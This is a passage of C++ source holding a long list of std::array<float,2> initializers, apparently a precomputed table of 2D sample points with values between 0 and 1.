std::array<float,2>{0.636739552f, 0.956588507f}, std::array<float,2>{0.283174187f, 0.219025835f}, std::array<float,2>{0.787515998f, 0.236186489f}, std::array<float,2>{0.0827482492f, 0.946844399f}, std::array<float,2>{0.680633962f, 0.533926904f}, std::array<float,2>{0.262811661f, 0.478483796f}, std::array<float,2>{0.6156165f, 0.327700883f}, std::array<float,2>{0.432369024f, 0.699298799f}, std::array<float,2>{0.9179883f, 0.860345364f}, std::array<float,2>{0.214802116f, 0.0471569747f}, std::array<float,2>{0.688287258f, 0.110025838f}, std::array<float,2>{0.314226002f, 0.758336723f}, std::array<float,2>{0.854884923f, 0.644188583f}, std::array<float,2>{0.0204839725f, 0.266808182f}, std::array<float,2>{0.973732412f, 0.375003994f}, std::array<float,2>{0.15763554f, 0.571408987f}, std::array<float,2>{0.501463413f, 0.926335931f}, std::array<float,2>{0.473871231f, 0.140874133f}, std::array<float,2>{0.882045269f, 0.00587277347f}, std::array<float,2>{0.232056886f, 0.825995266f}, std::array<float,2>{0.587448418f, 0.735215187f}, std::array<float,2>{0.401692331f, 0.356645465f}, std::array<float,2>{0.643165767f, 0.456787407f}, std::array<float,2>{0.30100736f, 0.516824484f}, std::array<float,2>{0.755925596f, 0.98829025f}, std::array<float,2>{0.124057129f, 0.205417752f}, std::array<float,2>{0.542603552f, 0.15639469f}, std::array<float,2>{0.463107437f, 0.881360829f}, std::array<float,2>{0.962618709f, 0.620676041f}, std::array<float,2>{0.150815323f, 0.432886034f}, std::array<float,2>{0.828194082f, 0.305698931f}, std::array<float,2>{0.0465687737f, 0.673583865f}, std::array<float,2>{0.734441519f, 0.79538554f}, std::array<float,2>{0.365982175f, 0.0724500418f}, std::array<float,2>{0.760703325f, 0.0598205626f}, std::array<float,2>{0.111470774f, 0.871486068f}, std::array<float,2>{0.652413011f, 0.690240681f}, std::array<float,2>{0.305995703f, 0.314681739f}, std::array<float,2>{0.581256986f, 0.473840922f}, std::array<float,2>{0.391946375f, 0.540455163f}, std::array<float,2>{0.884466767f, 0.940884769f}, std::array<float,2>{0.224883437f, 0.24760595f}, std::array<float,2>{0.745269418f, 0.155072346f}, std::array<float,2>{0.370262086f, 0.93570751f}, std::array<float,2>{0.83604598f, 0.566642821f}, std::array<float,2>{0.0370008759f, 0.388266623f}, std::array<float,2>{0.95317322f, 0.27595824f}, std::array<float,2>{0.146934807f, 0.654233634f}, std::array<float,2>{0.532722414f, 0.757625043f}, std::array<float,2>{0.45942983f, 0.121168651f}, std::array<float,2>{0.914008081f, 0.215013281f}, std::array<float,2>{0.209835678f, 0.996122122f}, std::array<float,2>{0.62138474f, 0.530411899f}, std::array<float,2>{0.426418841f, 0.465194732f}, std::array<float,2>{0.679192066f, 0.349077433f}, std::array<float,2>{0.253364772f, 0.742712379f}, std::array<float,2>{0.794677079f, 0.817338824f}, std::array<float,2>{0.0902607888f, 0.0109501798f}, std::array<float,2>{0.515444458f, 0.0648621246f}, std::array<float,2>{0.477499098f, 0.783279836f}, std::array<float,2>{0.982820809f, 0.685443223f}, std::array<float,2>{0.16930154f, 0.298746318f}, std::array<float,2>{0.849989057f, 0.427839816f}, std::array<float,2>{0.0293094534f, 0.614139676f}, std::array<float,2>{0.700462162f, 0.888290942f}, std::array<float,2>{0.325397611f, 0.171695009f}, std::array<float,2>{0.824715972f, 0.176386863f}, std::array<float,2>{0.0532970726f, 0.895848751f}, std::array<float,2>{0.723342359f, 0.602565765f}, std::array<float,2>{0.344016761f, 0.41200605f}, std::array<float,2>{0.549457848f, 0.283105433f}, std::array<float,2>{0.44303301f, 0.658626914f}, std::array<float,2>{0.950247467f, 0.804132283f}, std::array<float,2>{0.133570507f, 0.0876330286f}, std::array<float,2>{0.626210809f, 0.0297664143f}, std::array<float,2>{0.295436352f, 0.832597673f}, std::array<float,2>{0.775578916f, 0.72019428f}, std::array<float,2>{0.105093293f, 0.374988407f}, std::array<float,2>{0.896995366f, 0.439446539f}, std::array<float,2>{0.245928168f, 0.504390538f}, std::array<float,2>{0.569575846f, 0.978106797f}, std::array<float,2>{0.375164777f, 0.194751412f}, std::array<float,2>{0.99985081f, 0.0960782021f}, std::array<float,2>{0.186705947f, 0.780977368f}, std::array<float,2>{0.521821737f, 0.628004849f}, std::array<float,2>{0.486619711f, 0.259402364f}, std::array<float,2>{0.711373091f, 0.393300861f}, std::array<float,2>{0.3421489f, 0.579512358f}, std::array<float,2>{0.870091975f, 0.914369822f}, std::array<float,2>{0.00113321072f, 0.135043994f}, std::array<float,2>{0.607856989f, 0.23026225f}, std::array<float,2>{0.407893509f, 0.961601853f}, std::array<float,2>{0.927440047f, 0.556363046f}, std::array<float,2>{0.191946f, 0.490675151f}, std::array<float,2>{0.79689908f, 0.332925767f}, std::array<float,2>{0.0779400915f, 0.712884605f}, std::array<float,2>{0.661591709f, 0.852295697f}, std::array<float,2>{0.279492736f, 0.0443999022f}, std::array<float,2>{0.768970728f, 0.0670743436f}, std::array<float,2>{0.0950351208f, 0.788146853f}, std::array<float,2>{0.633480847f, 0.68097508f}, std::array<float,2>{0.285802364f, 0.303527623f}, std::array<float,2>{0.571260214f, 0.425118595f}, std::array<float,2>{0.388689011f, 0.609480023f}, std::array<float,2>{0.899514139f, 0.883438766f}, std::array<float,2>{0.236775443f, 0.164125353f}, std::array<float,2>{0.729097843f, 0.212244287f}, std::array<float,2>{0.355471045f, 0.992741168f}, std::array<float,2>{0.813318789f, 0.5263623f}, std::array<float,2>{0.0610199086f, 0.464314222f}, std::array<float,2>{0.940318048f, 0.345737845f}, std::array<float,2>{0.130131438f, 0.749937356f}, std::array<float,2>{0.555010855f, 0.815576196f}, std::array<float,2>{0.45277676f, 0.0141010229f}, std::array<float,2>{0.932616651f, 0.149833858f}, std::array<float,2>{0.197698459f, 0.930314898f}, std::array<float,2>{0.597465575f, 0.565332413f}, std::array<float,2>{0.415185511f, 0.386193186f}, std::array<float,2>{0.666207612f, 0.277368188f}, std::array<float,2>{0.27066645f, 0.65168184f}, std::array<float,2>{0.808920145f, 0.751236141f}, std::array<float,2>{0.0699267685f, 0.119706608f}, std::array<float,2>{0.530241787f, 0.0583221465f}, std::array<float,2>{0.493525565f, 0.867845953f}, std::array<float,2>{0.99150455f, 0.691908181f}, std::array<float,2>{0.174490973f, 0.319082052f}, std::array<float,2>{0.866874158f, 0.471330076f}, std::array<float,2>{0.0117604863f, 0.545399249f}, std::array<float,2>{0.705142081f, 0.942859054f}, std::array<float,2>{0.33022666f, 0.244661048f}, std::array<float,2>{0.833061695f, 0.232809439f}, std::array<float,2>{0.0407572351f, 0.967351973f}, std::array<float,2>{0.73867321f, 0.559958518f}, std::array<float,2>{0.362827569f, 0.487764388f}, std::array<float,2>{0.546562731f, 0.331302315f}, std::array<float,2>{0.464928508f, 0.715565681f}, std::array<float,2>{0.966745675f, 0.85811156f}, std::array<float,2>{0.156153455f, 0.0414123759f}, std::array<float,2>{0.64604497f, 0.100743949f}, std::array<float,2>{0.297240078f, 0.775474429f}, std::array<float,2>{0.751082659f, 0.629024744f}, std::array<float,2>{0.120753884f, 0.26396358f}, std::array<float,2>{0.87605536f, 0.396828741f}, std::array<float,2>{0.230161116f, 0.583615959f}, std::array<float,2>{0.591216981f, 0.919038594f}, std::array<float,2>{0.406117946f, 0.139294475f}, std::array<float,2>{0.969435155f, 0.0238073897f}, std::array<float,2>{0.160409912f, 0.828500152f}, std::array<float,2>{0.506672204f, 0.724895418f}, std::array<float,2>{0.468899608f, 0.370205134f}, std::array<float,2>{0.693727434f, 0.442195147f}, std::array<float,2>{0.317055553f, 0.501137435f}, std::array<float,2>{0.85932219f, 0.981536508f}, std::array<float,2>{0.0185978506f, 0.188681796f}, std::array<float,2>{0.609726369f, 0.172987953f}, std::array<float,2>{0.437452346f, 0.893867552f}, std::array<float,2>{0.916227996f, 0.608189523f}, std::array<float,2>{0.216421664f, 0.407892436f}, std::array<float,2>{0.78358978f, 0.288224101f}, std::array<float,2>{0.0795245543f, 0.663479507f}, std::array<float,2>{0.68496263f, 0.799939752f}, std::array<float,2>{0.260843188f, 0.0908001587f}, std::array<float,2>{0.844570637f, 0.0358741879f}, std::array<float,2>{0.0261418f, 0.846154392f}, std::array<float,2>{0.696974933f, 0.70339179f}, std::array<float,2>{0.322863281f, 0.336863309f}, std::array<float,2>{0.508194268f, 0.492821664f}, std::array<float,2>{0.48345831f, 0.548324525f}, std::array<float,2>{0.979387641f, 0.960679054f}, std::array<float,2>{0.165657297f, 0.223108068f}, std::array<float,2>{0.674108207f, 0.129186302f}, std::array<float,2>{0.255900413f, 0.908192813f}, std::array<float,2>{0.789955497f, 0.586117506f}, std::array<float,2>{0.0888175219f, 0.404383093f}, std::array<float,2>{0.907443583f, 0.253204644f}, std::array<float,2>{0.204945371f, 0.634859741f}, std::array<float,2>{0.619412005f, 0.768784583f}, std::array<float,2>{0.422684819f, 0.104023956f}, std::array<float,2>{0.959563732f, 0.196342885f}, std::array<float,2>{0.142630786f, 0.975498438f}, std::array<float,2>{0.538483858f, 0.513115704f}, std::array<float,2>{0.456899077f, 0.449864477f}, std::array<float,2>{0.749677837f, 0.362868965f}, std::array<float,2>{0.372133523f, 0.728365004f}, std::array<float,2>{0.840175807f, 0.836470842f}, std::array<float,2>{0.0342001431f, 0.0213227924f}, std::array<float,2>{0.584193349f, 0.0822032839f}, std::array<float,2>{0.397208244f, 0.811039865f}, std::array<float,2>{0.889275372f, 0.670289338f}, std::array<float,2>{0.220176727f, 0.292754263f}, std::array<float,2>{0.763616264f, 0.414382875f}, std::array<float,2>{0.113505796f, 0.601486683f}, std::array<float,2>{0.65196538f, 0.90487808f}, std::array<float,2>{0.311266601f, 0.182242379f}, std::array<float,2>{0.80420512f, 0.163534686f}, std::array<float,2>{0.0719498321f, 0.877319992f}, std::array<float,2>{0.656567931f, 0.622300506f}, std::array<float,2>{0.274046957f, 0.434480727f}, std::array<float,2>{0.60174638f, 0.311668724f}, std::array<float,2>{0.41182664f, 0.676096559f}, std::array<float,2>{0.925747156f, 0.791500866f}, std::array<float,2>{0.189147741f, 0.0778138936f}, std::array<float,2>{0.718359113f, 0.000216560555f}, std::array<float,2>{0.338220745f, 0.824206889f}, std::array<float,2>{0.87281692f, 0.739454985f}, std::array<float,2>{0.00479438202f, 0.355195761f}, std::array<float,2>{0.995432138f, 0.46064496f}, std::array<float,2>{0.180234656f, 0.519965172f}, std::array<float,2>{0.517838657f, 0.988022149f}, std::array<float,2>{0.489176393f, 0.209835887f}, std::array<float,2>{0.891857982f, 0.116531983f}, std::array<float,2>{0.24689956f, 0.763300478f}, std::array<float,2>{0.564140379f, 0.647174299f}, std::array<float,2>{0.381141871f, 0.272963107f}, std::array<float,2>{0.632788539f, 0.378990829f}, std::array<float,2>{0.292037219f, 0.577334344f}, std::array<float,2>{0.778414786f, 0.922962368f}, std::array<float,2>{0.106257036f, 0.145178929f}, std::array<float,2>{0.553825974f, 0.23906596f}, std::array<float,2>{0.437883139f, 0.950556159f}, std::array<float,2>{0.945422232f, 0.538725913f}, std::array<float,2>{0.137902364f, 0.482523561f}, std::array<float,2>{0.823929667f, 0.323355258f}, std::array<float,2>{0.0483930968f, 0.697388113f}, std::array<float,2>{0.72033447f, 0.864871621f}, std::array<float,2>{0.349066079f, 0.0528813191f}, std::array<float,2>{0.817020357f, 0.108677611f}, std::array<float,2>{0.0560754165f, 0.772031248f}, std::array<float,2>{0.732295513f, 0.640565097f}, std::array<float,2>{0.352520198f, 0.256112725f}, std::array<float,2>{0.560896695f, 0.401301682f}, std::array<float,2>{0.448190302f, 0.590804875f}, std::array<float,2>{0.942615271f, 0.912810206f}, std::array<float,2>{0.125181422f, 0.126479626f}, std::array<float,2>{0.639064968f, 0.220860481f}, std::array<float,2>{0.284305155f, 0.954893947f}, std::array<float,2>{0.770056725f, 0.550863504f}, std::array<float,2>{0.101373494f, 0.497572571f}, std::array<float,2>{0.902889132f, 0.34286195f}, std::array<float,2>{0.241454825f, 0.709077954f}, std::array<float,2>{0.575629473f, 0.851130784f}, std::array<float,2>{0.385374278f, 0.0323776416f}, std::array<float,2>{0.985329866f, 0.183963016f}, std::array<float,2>{0.176245123f, 0.900985658f}, std::array<float,2>{0.525969088f, 0.596518099f}, std::array<float,2>{0.498054832f, 0.419138074f}, std::array<float,2>{0.709965169f, 0.296194196f}, std::array<float,2>{0.332568288f, 0.666612446f}, std::array<float,2>{0.859835088f, 0.808413923f}, std::array<float,2>{0.00941909291f, 0.0806755796f}, std::array<float,2>{0.600348294f, 0.0184267759f}, std::array<float,2>{0.420804888f, 0.84132123f}, std::array<float,2>{0.935581803f, 0.733012617f}, std::array<float,2>{0.201086864f, 0.366183192f}, std::array<float,2>{0.806993604f, 0.446906924f}, std::array<float,2>{0.0647571012f, 0.508268237f}, std::array<float,2>{0.6688959f, 0.969255984f}, std::array<float,2>{0.268696785f, 0.20088388f}, std::array<float,2>{0.754193842f, 0.203180462f}, std::array<float,2>{0.121686511f, 0.990856826f}, std::array<float,2>{0.641335964f, 0.519194603f}, std::array<float,2>{0.303721488f, 0.454277962f}, std::array<float,2>{0.588558137f, 0.359354526f}, std::array<float,2>{0.398890078f, 0.737983227f}, std::array<float,2>{0.878907561f, 0.827097118f}, std::array<float,2>{0.232843637f, 0.00470910873f}, std::array<float,2>{0.736956954f, 0.072251305f}, std::array<float,2>{0.364852458f, 0.793505847f}, std::array<float,2>{0.83144784f, 0.675152719f}, std::array<float,2>{0.0442890301f, 0.307658613f}, std::array<float,2>{0.963097632f, 0.430320829f}, std::array<float,2>{0.14976944f, 0.618823409f}, std::array<float,2>{0.540731668f, 0.879049838f}, std::array<float,2>{0.462808371f, 0.159132063f}, std::array<float,2>{0.921607077f, 0.0491047651f}, std::array<float,2>{0.211422652f, 0.862927914f}, std::array<float,2>{0.614686131f, 0.70232302f}, std::array<float,2>{0.429720521f, 0.325456232f}, std::array<float,2>{0.681765139f, 0.478655726f}, std::array<float,2>{0.265572965f, 0.532633901f}, std::array<float,2>{0.785381615f, 0.949016333f}, std::array<float,2>{0.0841569081f, 0.237372994f}, std::array<float,2>{0.502041221f, 0.14384447f}, std::array<float,2>{0.47519204f, 0.928544343f}, std::array<float,2>{0.974918425f, 0.573726833f}, std::array<float,2>{0.159019336f, 0.378605306f}, std::array<float,2>{0.85182488f, 0.269464642f}, std::array<float,2>{0.022078678f, 0.642009139f}, std::array<float,2>{0.690192282f, 0.760275066f}, std::array<float,2>{0.314965338f, 0.112755306f}, std::array<float,2>{0.79614985f, 0.00831535365f}, std::array<float,2>{0.0922626555f, 0.819188833f}, std::array<float,2>{0.677083194f, 0.744615793f}, std::array<float,2>{0.250478417f, 0.351515412f}, std::array<float,2>{0.624230206f, 0.468305349f}, std::array<float,2>{0.428318739f, 0.527825356f}, std::array<float,2>{0.912071943f, 0.999437094f}, std::array<float,2>{0.207958639f, 0.21766156f}, std::array<float,2>{0.703044355f, 0.169415087f}, std::array<float,2>{0.327094793f, 0.889977455f}, std::array<float,2>{0.848778069f, 0.615756691f}, std::array<float,2>{0.0276277475f, 0.426108241f}, std::array<float,2>{0.981338441f, 0.29947266f}, std::array<float,2>{0.171666279f, 0.68680203f}, std::array<float,2>{0.511886597f, 0.782536268f}, std::array<float,2>{0.480120927f, 0.0641449168f}, std::array<float,2>{0.886705935f, 0.249073029f}, std::array<float,2>{0.223343521f, 0.938564062f}, std::array<float,2>{0.578871131f, 0.541440904f}, std::array<float,2>{0.393729836f, 0.475759834f}, std::array<float,2>{0.654601336f, 0.313935012f}, std::array<float,2>{0.306990206f, 0.689138293f}, std::array<float,2>{0.758073568f, 0.874349356f}, std::array<float,2>{0.109616898f, 0.0607166849f}, std::array<float,2>{0.535023749f, 0.124961391f}, std::array<float,2>{0.457875669f, 0.75554496f}, std::array<float,2>{0.955107808f, 0.655679941f}, std::array<float,2>{0.145192444f, 0.274873197f}, std::array<float,2>{0.839758635f, 0.389151841f}, std::array<float,2>{0.0375623107f, 0.568515122f}, std::array<float,2>{0.742551744f, 0.934909105f}, std::array<float,2>{0.368522257f, 0.15262039f}, std::array<float,2>{0.867258072f, 0.133293763f}, std::array<float,2>{0.00309129083f, 0.917116463f}, std::array<float,2>{0.713268578f, 0.580238581f}, std::array<float,2>{0.341447383f, 0.391831398f}, std::array<float,2>{0.521049917f, 0.260051489f}, std::array<float,2>{0.484986871f, 0.626337707f}, std::array<float,2>{0.997929573f, 0.778656065f}, std::array<float,2>{0.184585407f, 0.0953727663f}, std::array<float,2>{0.662699103f, 0.0452063307f}, std::array<float,2>{0.277741551f, 0.855346799f}, std::array<float,2>{0.799211323f, 0.713243067f}, std::array<float,2>{0.0745763779f, 0.335651994f}, std::array<float,2>{0.928128481f, 0.488590896f}, std::array<float,2>{0.194768101f, 0.557116807f}, std::array<float,2>{0.607242286f, 0.964147329f}, std::array<float,2>{0.408351421f, 0.228405699f}, std::array<float,2>{0.952634096f, 0.0888315514f}, std::array<float,2>{0.136335969f, 0.802651703f}, std::array<float,2>{0.547516823f, 0.657268465f}, std::array<float,2>{0.443828046f, 0.284544975f}, std::array<float,2>{0.725600183f, 0.413485199f}, std::array<float,2>{0.346436113f, 0.605201125f}, std::array<float,2>{0.826545477f, 0.896544576f}, std::array<float,2>{0.0519982576f, 0.178660884f}, std::array<float,2>{0.568162501f, 0.193184391f}, std::array<float,2>{0.378284484f, 0.979106367f}, std::array<float,2>{0.895940542f, 0.507514238f}, std::array<float,2>{0.243825391f, 0.4398368f}, std::array<float,2>{0.77357322f, 0.371714264f}, std::array<float,2>{0.101854198f, 0.721833587f}, std::array<float,2>{0.628229499f, 0.835724294f}, std::array<float,2>{0.293814957f, 0.0291852225f}, std::array<float,2>{0.804935813f, 0.0819754153f}, std::array<float,2>{0.0639945343f, 0.80686897f}, std::array<float,2>{0.671160161f, 0.66761893f}, std::array<float,2>{0.265723646f, 0.295336068f}, std::array<float,2>{0.598969758f, 0.418298811f}, std::array<float,2>{0.419515878f, 0.596996307f}, std::array<float,2>{0.934559524f, 0.901587903f}, std::array<float,2>{0.202502504f, 0.185380563f}, std::array<float,2>{0.707175434f, 0.199864402f}, std::array<float,2>{0.334634066f, 0.969879746f}, std::array<float,2>{0.863009691f, 0.509755611f}, std::array<float,2>{0.0103338398f, 0.445979506f}, std::array<float,2>{0.986937463f, 0.366612166f}, std::array<float,2>{0.177938133f, 0.734221756f}, std::array<float,2>{0.52432549f, 0.840664625f}, std::array<float,2>{0.496497899f, 0.0189654827f}, std::array<float,2>{0.906082749f, 0.125284716f}, std::array<float,2>{0.239465863f, 0.913616419f}, std::array<float,2>{0.577189624f, 0.591250896f}, std::array<float,2>{0.384226322f, 0.402191311f}, std::array<float,2>{0.637121499f, 0.25702697f}, std::array<float,2>{0.28293094f, 0.639195144f}, std::array<float,2>{0.773012996f, 0.773177505f}, std::array<float,2>{0.0984609053f, 0.107743725f}, std::array<float,2>{0.560173869f, 0.0314540453f}, std::array<float,2>{0.44685182f, 0.84994781f}, std::array<float,2>{0.943627596f, 0.710842669f}, std::array<float,2>{0.127577469f, 0.341797203f}, std::array<float,2>{0.818597972f, 0.496640056f}, std::array<float,2>{0.0578676052f, 0.551771879f}, std::array<float,2>{0.733472109f, 0.953138292f}, std::array<float,2>{0.354594141f, 0.222478539f}, std::array<float,2>{0.854721963f, 0.236995906f}, std::array<float,2>{0.0202415064f, 0.947812259f}, std::array<float,2>{0.688129306f, 0.531976044f}, std::array<float,2>{0.314106137f, 0.480275661f}, std::array<float,2>{0.50107199f, 0.324720263f}, std::array<float,2>{0.474020243f, 0.702103674f}, std::array<float,2>{0.974004388f, 0.861679912f}, std::array<float,2>{0.157284796f, 0.0506381914f}, std::array<float,2>{0.68021971f, 0.111650027f}, std::array<float,2>{0.26308164f, 0.760962963f}, std::array<float,2>{0.787307739f, 0.640690684f}, std::array<float,2>{0.0829181224f, 0.268443525f}, std::array<float,2>{0.918412268f, 0.377770752f}, std::array<float,2>{0.21456629f, 0.572613835f}, std::array<float,2>{0.615310967f, 0.929166555f}, std::array<float,2>{0.432569116f, 0.14291051f}, std::array<float,2>{0.962864518f, 0.00532525359f}, std::array<float,2>{0.150599241f, 0.827307165f}, std::array<float,2>{0.54284209f, 0.736702025f}, std::array<float,2>{0.463244498f, 0.357672244f}, std::array<float,2>{0.73465389f, 0.453879833f}, std::array<float,2>{0.365887642f, 0.517797351f}, std::array<float,2>{0.82850045f, 0.992041349f}, std::array<float,2>{0.0466978066f, 0.204444796f}, std::array<float,2>{0.587714076f, 0.160039932f}, std::array<float,2>{0.401506782f, 0.880172312f}, std::array<float,2>{0.882190943f, 0.618117094f}, std::array<float,2>{0.232401282f, 0.431337893f}, std::array<float,2>{0.756227851f, 0.306762129f}, std::array<float,2>{0.124299437f, 0.674482644f}, std::array<float,2>{0.643446326f, 0.794815123f}, std::array<float,2>{0.301107973f, 0.0708831921f}, std::array<float,2>{0.836281002f, 0.0621711388f}, std::array<float,2>{0.0367767215f, 0.873457313f}, std::array<float,2>{0.745416701f, 0.687935174f}, std::array<float,2>{0.37049073f, 0.312629491f}, std::array<float,2>{0.53299588f, 0.475223124f}, std::array<float,2>{0.4590047f, 0.542417347f}, std::array<float,2>{0.953524649f, 0.93810308f}, std::array<float,2>{0.146708518f, 0.248247653f}, std::array<float,2>{0.652691364f, 0.153758198f}, std::array<float,2>{0.305744797f, 0.933897197f}, std::array<float,2>{0.760349274f, 0.569378018f}, std::array<float,2>{0.111629844f, 0.390467763f}, std::array<float,2>{0.884590089f, 0.274103314f}, std::array<float,2>{0.224773481f, 0.654969513f}, std::array<float,2>{0.581370413f, 0.754708707f}, std::array<float,2>{0.391685009f, 0.123950496f}, std::array<float,2>{0.982637286f, 0.218013838f}, std::array<float,2>{0.169062093f, 0.998085558f}, std::array<float,2>{0.515344203f, 0.52883482f}, std::array<float,2>{0.477215499f, 0.466877103f}, std::array<float,2>{0.700337887f, 0.349735379f}, std::array<float,2>{0.325633317f, 0.746069074f}, std::array<float,2>{0.849701345f, 0.820122361f}, std::array<float,2>{0.0297787841f, 0.00973841641f}, std::array<float,2>{0.621150136f, 0.0626090765f}, std::array<float,2>{0.426739693f, 0.781850755f}, std::array<float,2>{0.913757801f, 0.68586117f}, std::array<float,2>{0.209492862f, 0.299877316f}, std::array<float,2>{0.79484123f, 0.426970094f}, std::array<float,2>{0.0899987668f, 0.616250098f}, std::array<float,2>{0.678952098f, 0.888906956f}, std::array<float,2>{0.253047168f, 0.168655545f}, std::array<float,2>{0.775672913f, 0.179056823f}, std::array<float,2>{0.105229594f, 0.89775449f}, std::array<float,2>{0.62627393f, 0.60372895f}, std::array<float,2>{0.295766711f, 0.412660003f}, std::array<float,2>{0.569674909f, 0.283662587f}, std::array<float,2>{0.375302672f, 0.6562922f}, std::array<float,2>{0.897348762f, 0.800922751f}, std::array<float,2>{0.245765939f, 0.0892128795f}, std::array<float,2>{0.723496795f, 0.0278075039f}, std::array<float,2>{0.343786478f, 0.83402127f}, std::array<float,2>{0.825149119f, 0.721577466f}, std::array<float,2>{0.0536047034f, 0.37285319f}, std::array<float,2>{0.950523138f, 0.440870553f}, std::array<float,2>{0.133411661f, 0.50628227f}, std::array<float,2>{0.549684703f, 0.980356514f}, std::array<float,2>{0.443256378f, 0.191685706f}, std::array<float,2>{0.927613676f, 0.0944944024f}, std::array<float,2>{0.192371711f, 0.777809381f}, std::array<float,2>{0.607465923f, 0.625130296f}, std::array<float,2>{0.408196747f, 0.261453003f}, std::array<float,2>{0.661170661f, 0.390867501f}, std::array<float,2>{0.279618531f, 0.581255078f}, std::array<float,2>{0.797348082f, 0.916742623f}, std::array<float,2>{0.0777942687f, 0.134664431f}, std::array<float,2>{0.521555364f, 0.22707133f}, std::array<float,2>{0.486433297f, 0.963741779f}, std::array<float,2>{0.999716282f, 0.55797714f}, std::array<float,2>{0.186969995f, 0.489581734f}, std::array<float,2>{0.869665623f, 0.3348822f}, std::array<float,2>{0.00129971793f, 0.714823902f}, std::array<float,2>{0.710992694f, 0.853677034f}, std::array<float,2>{0.341806382f, 0.0464450233f}, std::array<float,2>{0.863894939f, 0.120593995f}, std::array<float,2>{0.0155982403f, 0.750961542f}, std::array<float,2>{0.704146028f, 0.651086926f}, std::array<float,2>{0.330032349f, 0.278901905f}, std::array<float,2>{0.528602362f, 0.385413975f}, std::array<float,2>{0.496048063f, 0.565594137f}, std::array<float,2>{0.989047527f, 0.930784702f}, std::array<float,2>{0.17291379f, 0.148442641f}, std::array<float,2>{0.665605724f, 0.245700657f}, std::array<float,2>{0.271744281f, 0.941528082f}, std::array<float,2>{0.811963737f, 0.54615581f}, std::array<float,2>{0.0683445111f, 0.472486466f}, std::array<float,2>{0.930624485f, 0.320223182f}, std::array<float,2>{0.195593819f, 0.692443669f}, std::array<float,2>{0.595146894f, 0.868167341f}, std::array<float,2>{0.417421371f, 0.0570665337f}, std::array<float,2>{0.937718749f, 0.165041268f}, std::array<float,2>{0.1320941f, 0.884011686f}, std::array<float,2>{0.557711422f, 0.610797107f}, std::array<float,2>{0.450764984f, 0.424527764f}, std::array<float,2>{0.726965666f, 0.304539233f}, std::array<float,2>{0.358025819f, 0.679873049f}, std::array<float,2>{0.815790713f, 0.787930071f}, std::array<float,2>{0.0597257838f, 0.0682330281f}, std::array<float,2>{0.573135078f, 0.0152254002f}, std::array<float,2>{0.388434917f, 0.815176725f}, std::array<float,2>{0.901202619f, 0.74879843f}, std::array<float,2>{0.235439658f, 0.347230554f}, std::array<float,2>{0.766397476f, 0.462967604f}, std::array<float,2>{0.0972927958f, 0.527251661f}, std::array<float,2>{0.634937048f, 0.993834794f}, std::array<float,2>{0.288551241f, 0.21119675f}, std::array<float,2>{0.781666398f, 0.188090026f}, std::array<float,2>{0.081638515f, 0.981120646f}, std::array<float,2>{0.686312735f, 0.500435531f}, std::array<float,2>{0.259215713f, 0.443083316f}, std::array<float,2>{0.61246103f, 0.36947614f}, std::array<float,2>{0.433652341f, 0.726498604f}, std::array<float,2>{0.914455175f, 0.829210341f}, std::array<float,2>{0.216806367f, 0.0250513945f}, std::array<float,2>{0.693121552f, 0.0917540267f}, std::array<float,2>{0.318574518f, 0.799485683f}, std::array<float,2>{0.855505228f, 0.662197411f}, std::array<float,2>{0.0175626501f, 0.28720057f}, std::array<float,2>{0.971253991f, 0.406643778f}, std::array<float,2>{0.162882f, 0.609015644f}, std::array<float,2>{0.504866183f, 0.893504143f}, std::array<float,2>{0.472200096f, 0.172444522f}, std::array<float,2>{0.877728939f, 0.0422878452f}, std::array<float,2>{0.227131858f, 0.859290481f}, std::array<float,2>{0.592126191f, 0.716428518f}, std::array<float,2>{0.40314126f, 0.331023037f}, std::array<float,2>{0.647590399f, 0.486528844f}, std::array<float,2>{0.29938373f, 0.558973193f}, std::array<float,2>{0.753101945f, 0.968483388f}, std::array<float,2>{0.118328549f, 0.233986095f}, std::array<float,2>{0.543260217f, 0.14027147f}, std::array<float,2>{0.468227625f, 0.918903649f}, std::array<float,2>{0.968386531f, 0.582095921f}, std::array<float,2>{0.152806535f, 0.397942692f}, std::array<float,2>{0.834006846f, 0.265198618f}, std::array<float,2>{0.0417725518f, 0.630644321f}, std::array<float,2>{0.741119683f, 0.777018368f}, std::array<float,2>{0.361290604f, 0.100303888f}, std::array<float,2>{0.763946056f, 0.0197417513f}, std::array<float,2>{0.116654091f, 0.837819338f}, std::array<float,2>{0.650081396f, 0.727148533f}, std::array<float,2>{0.308985502f, 0.361520231f}, std::array<float,2>{0.583837211f, 0.450805694f}, std::array<float,2>{0.396113515f, 0.512332559f}, std::array<float,2>{0.888356745f, 0.976560414f}, std::array<float,2>{0.221120059f, 0.196283206f}, std::array<float,2>{0.746210277f, 0.182762429f}, std::array<float,2>{0.374798179f, 0.905447245f}, std::array<float,2>{0.842296541f, 0.600129485f}, std::array<float,2>{0.0329007059f, 0.415375203f}, std::array<float,2>{0.957328677f, 0.291856587f}, std::array<float,2>{0.142386571f, 0.671532869f}, std::array<float,2>{0.536835849f, 0.812247336f}, std::array<float,2>{0.453637958f, 0.0838803351f}, std::array<float,2>{0.90943408f, 0.22418268f}, std::array<float,2>{0.205764771f, 0.959086716f}, std::array<float,2>{0.619044185f, 0.546879411f}, std::array<float,2>{0.424028754f, 0.493601054f}, std::array<float,2>{0.673313558f, 0.337313861f}, std::array<float,2>{0.253993094f, 0.704440176f}, std::array<float,2>{0.791232884f, 0.84727025f}, std::array<float,2>{0.0867917761f, 0.0363057368f}, std::array<float,2>{0.51165843f, 0.104836978f}, std::array<float,2>{0.481670976f, 0.768225253f}, std::array<float,2>{0.977108002f, 0.636487246f}, std::array<float,2>{0.166872665f, 0.252672315f}, std::array<float,2>{0.84682405f, 0.405999452f}, std::array<float,2>{0.0245148819f, 0.587642252f}, std::array<float,2>{0.698884666f, 0.907087147f}, std::array<float,2>{0.320501506f, 0.130000874f}, std::array<float,2>{0.822031319f, 0.146145806f}, std::array<float,2>{0.0488916636f, 0.922374606f}, std::array<float,2>{0.721692562f, 0.576400518f}, std::array<float,2>{0.350544095f, 0.380119711f}, std::array<float,2>{0.55095768f, 0.27202484f}, std::array<float,2>{0.439543188f, 0.647961974f}, std::array<float,2>{0.948950827f, 0.762424886f}, std::array<float,2>{0.140202746f, 0.11564891f}, std::array<float,2>{0.630815268f, 0.0538534261f}, std::array<float,2>{0.290079087f, 0.863561153f}, std::array<float,2>{0.781045914f, 0.698725343f}, std::array<float,2>{0.107438609f, 0.32303378f}, std::array<float,2>{0.89276886f, 0.484125137f}, std::array<float,2>{0.249418572f, 0.537896812f}, std::array<float,2>{0.564781189f, 0.950018466f}, std::array<float,2>{0.37969476f, 0.240118757f}, std::array<float,2>{0.992367744f, 0.076540947f}, 